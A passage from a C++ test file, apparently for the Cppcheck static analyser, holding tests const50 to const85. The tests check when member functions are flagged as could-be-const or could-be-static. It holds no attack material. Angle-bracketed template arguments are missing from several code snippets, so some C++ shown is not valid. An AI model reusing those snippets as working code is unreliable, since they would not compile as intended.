ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const50() { // ticket 2943\n checkConst(\"class Altren\\n\"\n \"{\\n\"\n \" class SubClass : public std::vector\\n\"\n \" {\\n\"\n \" };\\n\"\n \"};\\n\"\n \"void _setAlign()\\n\"\n \"{\\n\"\n \" if (mTileSize.height > 0) return;\\n\"\n \" if (mEmptyView) return;\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const51() { // ticket 3040\n checkConst(\"class PSIPTable {\\n\"\n \"public:\\n\"\n \" PSIPTable() : _pesdata(0) { }\\n\"\n \" const unsigned char* pesdata() const { return _pesdata; }\\n\"\n \" unsigned char* pesdata() { return _pesdata; }\\n\"\n \" void SetSection(uint num) { pesdata()[6] = num; }\\n\"\n \"private:\\n\"\n \" unsigned char *_pesdata;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class PESPacket {\\n\"\n \"public:\\n\"\n \" PESPacket() : _pesdata(0) { }\\n\"\n \" const unsigned char* pesdata() const { return _pesdata; }\\n\"\n \" unsigned char* pesdata() { return _pesdata; }\\n\"\n \"private:\\n\"\n \" unsigned char *_pesdata;\\n\"\n \"};\\n\"\n \"class PSIPTable : public PESPacket\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" void SetSection(uint num) { pesdata()[6] = num; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const52() { // ticket 3048\n checkConst(\"class foo {\\n\"\n \" void DoSomething(int &a) const { a = 1; }\\n\"\n \" void DoSomethingElse() { DoSomething(bar); }\\n\"\n \"private:\\n\"\n \" int bar;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance, inconclusive) Technically the member function 'foo::DoSomething' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const53() { // ticket 3049\n checkConst(\"class A {\\n\"\n \" public:\\n\"\n \" A() : foo(false) {};\\n\"\n \" virtual bool One(bool b = false) { foo = b; return false; }\\n\"\n \" private:\\n\"\n \" bool foo;\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" public:\\n\"\n \" B() {};\\n\"\n \" bool One(bool b = false) { return false; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const54() { // ticket 3052\n checkConst(\"class Example {\\n\"\n \" public:\\n\"\n \" void Clear(void) { Example tmp; (*this) = tmp; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const55() {\n checkConst(\"class MyObject {\\n\"\n \" int tmp;\\n\"\n \" MyObject() : tmp(0) {}\\n\"\n \"public:\\n\"\n \" void set(std::stringstream &in) { in >> tmp; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const56() { // ticket #3149\n checkConst(\"class MyObject {\\n\"\n \"public:\\n\"\n \" void foo(int x) {\\n\"\n \" switch (x) { }\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'MyObject::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"class A\\n\"\n \"{\\n\"\n \" protected:\\n\"\n \" unsigned short f (unsigned short X);\\n\"\n \" public:\\n\"\n \" A ();\\n\"\n \"};\\n\"\n \"\\n\"\n \"unsigned short A::f (unsigned short X)\\n\"\n \"{\\n\"\n \" enum ERetValues {RET_NOK = 0, RET_OK = 1};\\n\"\n \" enum ETypes {FLOAT_TYPE = 1, INT_TYPE = 2};\\n\"\n \"\\n\"\n \" try\\n\"\n \" {\\n\"\n \" switch (X)\\n\"\n \" {\\n\"\n \" case FLOAT_TYPE:\\n\"\n \" {\\n\"\n \" return RET_OK;\\n\"\n \" }\\n\"\n \" case INT_TYPE:\\n\"\n \" {\\n\"\n \" return RET_OK;\\n\"\n \" }\\n\"\n \" default:\\n\"\n \" {\\n\"\n \" return RET_NOK;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (...)\\n\"\n \" {\\n\"\n \" return RET_NOK;\\n\"\n \" }\\n\"\n \"\\n\"\n \" return RET_NOK;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:24] -> [test.cpp:9:19]: (performance, inconclusive) Technically the member function 'A::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"class MyObject {\\n\"\n \"public:\\n\"\n \" void foo(int x) {\\n\"\n \" for (int i = 0; i < 5; i++) { }\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'MyObject::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const57() { // tickets #2669 and #2477\n checkConst(\"namespace MyGUI\\n\"\n \"{\\n\"\n \" namespace types\\n\"\n \" {\\n\"\n \" struct TSize {};\\n\"\n \" struct TCoord {\\n\"\n \" TSize size() const { }\\n\"\n \" };\\n\"\n \" }\\n\"\n \" typedef types::TSize IntSize;\\n\"\n \" typedef types::TCoord IntCoord;\\n\"\n \"}\\n\"\n \"class SelectorControl\\n\"\n \"{\\n\"\n \" MyGUI::IntSize getSize()\\n\"\n \" {\\n\"\n \" return mCoordValue.size();\\n\"\n \" }\\n\"\n \"private:\\n\"\n \" MyGUI::IntCoord mCoordValue;\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:7:13]: (performance, inconclusive) Technically the member function 'MyGUI::types::TCoord::size' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:15]: (style, inconclusive) Technically the member function 'SelectorControl::getSize' can be const.\\n\",\n \"[test.cpp:7:13]: (performance, inconclusive) Technically the member function 'MyGUI::types::TCoord::size' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct Foo {\\n\"\n \" Bar b;\\n\"\n \" void foo(Foo f) {\\n\"\n \" b.run();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct Bar {\\n\"\n \" int i = 0;\\n\"\n \" void run() { i++; }\\n\"\n \"};\\n\"\n \"struct Foo {\\n\"\n \" Bar b;\\n\"\n \" void foo(Foo f) {\\n\"\n \" b.run();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct Bar {\\n\"\n \" void run() const { }\\n\"\n \"};\\n\"\n \"struct Foo {\\n\"\n \" Bar b;\\n\"\n \" void foo(Foo f) {\\n\"\n \" b.run();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance, inconclusive) Technically the member function 'Bar::run' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:6:10]: (style, inconclusive) Technically the member function 'Foo::foo' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const58() {\n checkConst(\"struct MyObject {\\n\"\n \" void foo(Foo f) {\\n\"\n \" f.clear();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance, inconclusive) Technically the member function 'MyObject::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct MyObject {\\n\"\n \" int foo(Foo f) {\\n\"\n \" return f.length();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (performance, inconclusive) Technically the member function 'MyObject::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct MyObject {\\n\"\n \" Foo f;\\n\"\n \" int foo() {\\n\"\n \" return f.length();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct MyObject {\\n\"\n \" std::string f;\\n\"\n \" int foo() {\\n\"\n \" return f.length();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style, inconclusive) Technically the member function 'MyObject::foo' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const59() { // ticket #4646\n checkConst(\"class C {\\n\"\n \"public:\\n\"\n \" inline void operator += (const int &x ) { re += x; }\\n\"\n \" friend inline void exp(C & c, const C & x) { }\\n\"\n \"protected:\\n\"\n \" int re;\\n\"\n \" int im;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const60() { // ticket #3322\n checkConst(\"class MyString {\\n\"\n \"public:\\n\"\n \" MyString() : m_ptr(0){}\\n\"\n \" MyString& operator+=( const MyString& rhs ) {\\n\"\n \" delete m_ptr;\\n\"\n \" m_ptr = new char[42];\\n\"\n \" }\\n\"\n \" MyString append( const MyString& str )\\n\"\n \" { return operator+=( str ); }\\n\"\n \" char *m_ptr;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n checkConst(\"class MyString {\\n\"\n \"public:\\n\"\n \" MyString() : m_ptr(0){}\\n\"\n \" MyString& operator+=( const MyString& rhs );\\n\"\n \" MyString append( const MyString& str )\\n\"\n \" { return operator+=( str ); }\\n\"\n \" char *m_ptr;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const61() { // ticket #5606 - don't crash\n // this code is invalid so a false negative is OK\n checkConst(\"class MixerParticipant : public MixerParticipant {\\n\"\n \" int GetAudioFrame();\\n\"\n \"};\\n\"\n \"int MixerParticipant::GetAudioFrame() {\\n\"\n \" return 0;\\n\"\n \"}\");\n\n // this code is invalid so a false negative is OK\n checkConst(\"class MixerParticipant : public MixerParticipant {\\n\"\n \" bool InitializeFileReader() {\\n\"\n \" printf(\\\"music\\\");\\n\"\n \" }\\n\"\n \"};\");\n\n // Based on an example from SVN source code causing an endless recursion within CheckClass::isConstMemberFunc()\n // A more complete example including a template declaration like\n // template class Hash{/* ... */};\n // didn't .\n checkConst(\"template<>\\n\"\n \"class Hash {\\n\"\n \"protected:\\n\"\n \" typedef Key::key_type key_type;\\n\"\n \" void set(const Key& key);\\n\"\n \"};\\n\"\n \"template\\n\"\n \"class Hash : private Hash {\\n\"\n \" typedef Hash inherited;\\n\"\n \" void set(const Key& key) {\\n\"\n \" inherited::set(inherited::Key(key));\\n\"\n \" }\\n\"\n \"};\\n\", dinit(CheckConstOptions, $.inconclusive = false));\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:4:23]: (performance, inconclusive) Either there is a missing 'override', or the member function 'MixerParticipant::GetAudioFrame' can be static. [functionStatic]\\n\",\n errout_str());\n }\n\n void const62() {\n checkConst(\"class A {\\n\"\n \" private:\\n\"\n \" std::unordered_map _hash;\\n\"\n \" public:\\n\"\n \" A() : _hash() {}\\n\"\n \" unsigned int fetch(unsigned int key)\\n\" // cannot be 'const'\n \" {\\n\"\n \" return _hash[key];\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const63() {\n checkConst(\"struct A {\\n\"\n \" std::string s;\\n\"\n \" void clear() {\\n\"\n \" std::string* p = &s;\\n\"\n \" p->clear();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" std::string s;\\n\"\n \" void clear() {\\n\"\n \" std::string& r = s;\\n\"\n \" r.clear();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" std::string s;\\n\"\n \" void clear() {\\n\"\n \" std::string& r = sth; r = s;\\n\"\n \" r.clear();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'A::clear' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" std::string s;\\n\"\n \" void clear() {\\n\"\n \" const std::string* p = &s;\\n\"\n \" p->somefunction();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'A::clear' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" std::string s;\\n\"\n \" void clear() {\\n\"\n \" const std::string& r = s;\\n\"\n \" r.somefunction();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'A::clear' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const64() {\n checkConst(\"namespace B {\\n\"\n \" namespace D {\\n\"\n \" typedef int DKIPtr;\\n\"\n \" }\\n\"\n \" class ZClass {\\n\"\n \" void set(const ::B::D::DKIPtr& p) {\\n\"\n \" membervariable = p;\\n\"\n \" }\\n\"\n \" ::B::D::DKIPtr membervariable;\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const65() {\n checkConst(\"template \\n\"\n \"class TemplateClass {\\n\"\n \"public:\\n\"\n \" TemplateClass() { }\\n\"\n \"};\\n\"\n \"template <>\\n\"\n \"class TemplateClass {\\n\"\n \"public:\\n\"\n \" TemplateClass() { }\\n\"\n \"};\\n\"\n \"int main() {\\n\"\n \" TemplateClass a;\\n\"\n \" TemplateClass b;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const66() {\n checkConst(\"struct C {\\n\"\n \" C() : n(0) {}\\n\"\n \" void f(int v) { g((char *) &v); }\\n\"\n \" void g(char *) { n++; }\\n\"\n \" int n;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const67() { // #9193\n checkConst(\"template >\\n\"\n \"class TestList {\\n\"\n \"public:\\n\"\n \" LIST_T m_list;\\n\"\n \"};\\n\"\n \"class Test {\\n\"\n \"public:\\n\"\n \" const std::list>& get() { return m_test.m_list; }\\n\"\n \" TestList> m_test;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:8:44]: (style, inconclusive) Technically the member function 'Test::get' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const68() { // #6471\n checkConst(\"class MyClass {\\n\"\n \" void clear() {\\n\"\n \" SVecPtr v = (SVecPtr) m_data;\\n\"\n \" v->clear();\\n\"\n \" }\\n\"\n \" void* m_data;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const69() { // #9806\n checkConst(\"struct A {\\n\"\n \" int a = 0;\\n\"\n \" template void call(const Args &... args) { a = 1; }\\n\"\n \" template auto call(const Args &... args) -> T {\\n\"\n \" a = 2;\\n\"\n \" return T{};\\n\"\n \" }\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B : public A {\\n\"\n \" void test() {\\n\"\n \" call();\\n\"\n \" call(1, 2, 3);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const70() {\n checkConst(\"struct A {\\n\"\n \" template void call(Args ... args) {\\n\"\n \" func(this);\\n\"\n \" }\\n\"\n \"\\n\"\n \" void test() {\\n\"\n \" call(1, 2);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const71() { // #10146\n checkConst(\"struct Bar {\\n\"\n \" int j = 5;\\n\"\n \" void f(int& i) const { i += j; }\\n\"\n \"};\\n\"\n \"struct Foo {\\n\"\n \" Bar bar;\\n\"\n \" int k{};\\n\"\n \" void g() { bar.f(k); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" A a;\\n\"\n \" void f(int j, int*& p) {\\n\"\n \" p = &(((a[j])));\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const72() { // #10520\n checkConst(\"struct S {\\n\"\n \" explicit S(int* p) : mp(p) {}\\n\"\n \" int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return S{ &i }; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" explicit S(int* p) : mp(p) {}\\n\"\n \" int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return S(&i); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return S{ &i }; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return { &i }; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" explicit S(const int* p) : mp(p) {}\\n\"\n \" const int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return S{ &i }; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:7]: (style, inconclusive) Technically the member function 'C::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" explicit S(const int* p) : mp(p) {}\\n\"\n \" const int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return S(&i); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:7]: (style, inconclusive) Technically the member function 'C::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" const int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return S{ &i }; }\\n\"\n \"};\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:7:7]: (style, inconclusive) Technically the member function 'C::f' can be const. [functionConst]\\n\", \"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" const int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return { &i }; }\\n\"\n \"};\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:7:7]: (style, inconclusive) Technically the member function 'C::f' can be const. [functionConst]\\n\", \"\", errout_str());\n }\n\n void const73() {\n checkConst(\"struct A {\\n\"\n \" int* operator[](int i);\\n\"\n \" const int* operator[](int i) const;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" A a;\\n\"\n \" void f(int j) {\\n\"\n \" int* p = a[j];\\n\"\n \" *p = 0;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\" // #10758\n \" T* h;\\n\"\n \" void f(); \\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" char* c = h->x[y];\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:5:9]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const74() { // #10671\n checkConst(\"class A {\\n\"\n \" std::vector m_str;\\n\"\n \"public:\\n\"\n \" A() {}\\n\"\n \" void bar(void) {\\n\"\n \" for(std::vector::const_iterator it = m_str.begin(); it != m_str.end(); ++it) {;}\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (style, inconclusive) Technically the member function 'A::bar' can be const. [functionConst]\\n\", errout_str());\n\n // Don't crash\n checkConst(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \" void f() const;\\n\"\n \"};\\n\"\n \"void S::f() const {\\n\"\n \" for (std::vector::const_iterator it = v.begin(), end = v.end(); it != end; ++it) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const75() { // #10065\n checkConst(\"namespace N { int i = 0; }\\n\"\n \"struct S {\\n\"\n \" int i;\\n\"\n \" void f() {\\n\"\n \" if (N::i) {}\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance, inconclusive) Technically the member function 'S::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int i = 0;\\n\"\n \"struct S {\\n\"\n \" int i;\\n\"\n \" void f() {\\n\"\n \" if (::i) {}\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance, inconclusive) Technically the member function 'S::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"namespace N {\\n\"\n \" struct S {\\n\"\n \" int i;\\n\"\n \" void f() {\\n\"\n \" if (N::S::i) {}\\n\"\n \" }\\n\"\n \" };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (style, inconclusive) Technically the member function 'N::S::f' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const76() { // #10825\n checkConst(\"struct S {\\n\"\n \" enum E {};\\n\"\n \" void f(const T* t);\\n\"\n \" E e;\\n\"\n \"};\\n\"\n \"struct T { void e(); };\\n\"\n \"void S::f(const T* t) {\\n\"\n \" const_cast(t)->e();\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:7:9]: (performance, inconclusive) Technically the member function 'S::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\",\n errout_str());\n }\n\n void const77() {\n checkConst(\"template \\n\" // #10307\n \"struct S {\\n\"\n \" std::vector const* f() const { return p; }\\n\"\n \" std::vector const* p;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\" // #10311\n \" std::vector v;\\n\"\n \" std::vector& f() { return v; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const78() { // #10315\n checkConst(\"struct S {\\n\"\n \" typedef void(S::* F)();\\n\"\n \" void g(F f);\\n\"\n \"};\\n\"\n \"void S::g(F f) {\\n\"\n \" (this->*f)();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" using F = void(S::*)();\\n\"\n \" void g(F f);\\n\"\n \"};\\n\"\n \"void S::g(F f) {\\n\"\n \" (this->*f)();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const79() { // #9861\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" char* f() {\\n\"\n \" return nullptr;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (performance, inconclusive) Technically the member function 'A::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\",\n errout_str());\n }\n\n void const80() { // #11328\n checkConst(\"struct B { static void b(); };\\n\"\n \"struct S : B {\\n\"\n \" static void f() {}\\n\"\n \" void g() const;\\n\"\n \" void h();\\n\"\n \" void k();\\n\"\n \" void m();\\n\"\n \" void n();\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void S::g() const {\\n\"\n \" this->f();\\n\"\n \"}\\n\"\n \"void S::h() {\\n\"\n \" this->f();\\n\"\n \"}\\n\"\n \"void S::k() {\\n\"\n \" if (i)\\n\"\n \" this->f();\\n\"\n \"}\\n\"\n \"void S::m() {\\n\"\n \" this->B::b();\\n\"\n \"}\\n\"\n \"void S::n() {\\n\"\n \" this->h();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10] -> [test.cpp:11:9]: (performance, inconclusive) Technically the member function 'S::g' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:5:10] -> [test.cpp:14:9]: (performance, inconclusive) Technically the member function 'S::h' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:6:10] -> [test.cpp:17:9]: (style, inconclusive) Technically the member function 'S::k' can be const. [functionConst]\\n\"\n \"[test.cpp:7:10] -> [test.cpp:21:9]: (performance, inconclusive) Technically the member function 'S::m' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\",\n errout_str());\n }\n\n void const81() {\n checkConst(\"struct A {\\n\" // #11330\n \" bool f() const;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" std::shared_ptr a;\\n\"\n \" void g() {\\n\"\n \" if (a->f()) {}\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:10]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\",\n errout_str());\n\n checkConst(\"struct A {\\n\" // #11499\n \" void f() const;\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct P {\\n\"\n \" T* operator->();\\n\"\n \" const T* operator->() const;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" P p;\\n\"\n \" void g() { p->f(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:11:10]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\",\n errout_str());\n\n checkConst(\"struct A {\\n\"\n \" void f(int) const;\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct P {\\n\"\n \" T* operator->();\\n\"\n \" const T* operator->() const;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" P p;\\n\"\n \" void g() { p->f(1); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:11:8]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" void f(void*) const;\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct P {\\n\"\n \" T* operator->();\\n\"\n \" const T* operator->() const;\\n\"\n \" P& operator=(P) {\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" P p;\\n\"\n \" std::vector g() { p->f(nullptr); return {}; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:14:20]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct P {\\n\"\n \" T* operator->();\\n\"\n \" const T* operator->() const;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" P p;\\n\"\n \" void g() { p->f(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" void f() const;\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct P {\\n\"\n \" T* operator->();\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" P p;\\n\"\n \" void g() { p->f(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" void f(int&) const;\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct P {\\n\"\n \" T* operator->();\\n\"\n \" const T* operator->() const;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" P p;\\n\"\n \" int i;\\n\"\n \" void g() { p->f(i); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A {\\n\" // #11501\n \" enum E { E1 };\\n\"\n \" virtual void f(E) const = 0;\\n\"\n \"};\\n\"\n \"struct F {\\n\"\n \" A* a;\\n\"\n \" void g() { a->f(A::E1); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:10]: (style, inconclusive) Technically the member function 'F::g' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const82() { // #11513\n checkConst(\"struct S {\\n\"\n \" int i;\\n\"\n \" void h(bool) const;\\n\"\n \" void g() { h(i == 1); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\",\n errout_str());\n\n checkConst(\"struct S {\\n\"\n \" int i;\\n\"\n \" void h(int, int*) const;\\n\"\n \" void g() { int a; h(i, &a); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\",\n errout_str());\n }\n\n void const83() {\n checkConst(\"struct S {\\n\"\n \" int i1, i2;\\n\"\n \" void f(bool b);\\n\"\n \" void g(bool b, int j);\\n\"\n \"};\\n\"\n \"void S::f(bool b) {\\n\"\n \" int& r = b ? i1 : i2;\\n\"\n \" r = 5;\\n\"\n \"}\\n\"\n \"void S::g(bool b, int j) {\\n\"\n \" int& r = b ? j : i2;\\n\"\n \" r = 5;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const84() {\n checkConst(\"class S {};\\n\" // #11616\n \"struct T {\\n\"\n \" T(const S*);\\n\"\n \" T(const S&);\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" const S s;\\n\"\n \" void f1() {\\n\"\n \" T t(&s);\\n\"\n \" }\\n\"\n \" void f2() {\\n\"\n \" T t(s);\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:10]: (style, inconclusive) Technically the member function 'C::f1' can be const. [functionConst]\\n\"\n \"[test.cpp:11:10]: (style, inconclusive) Technically the member function 'C::f2' can be const. [functionConst]\\n\",\n errout_str());\n }\n\n void const85() { // #11618\n checkConst(\"struct S {\\n\"\n \" int a[2], b[2];\\n\"\n \" void f() { f(a, b); }\\n\"\n \" static void f(const int p[2], int 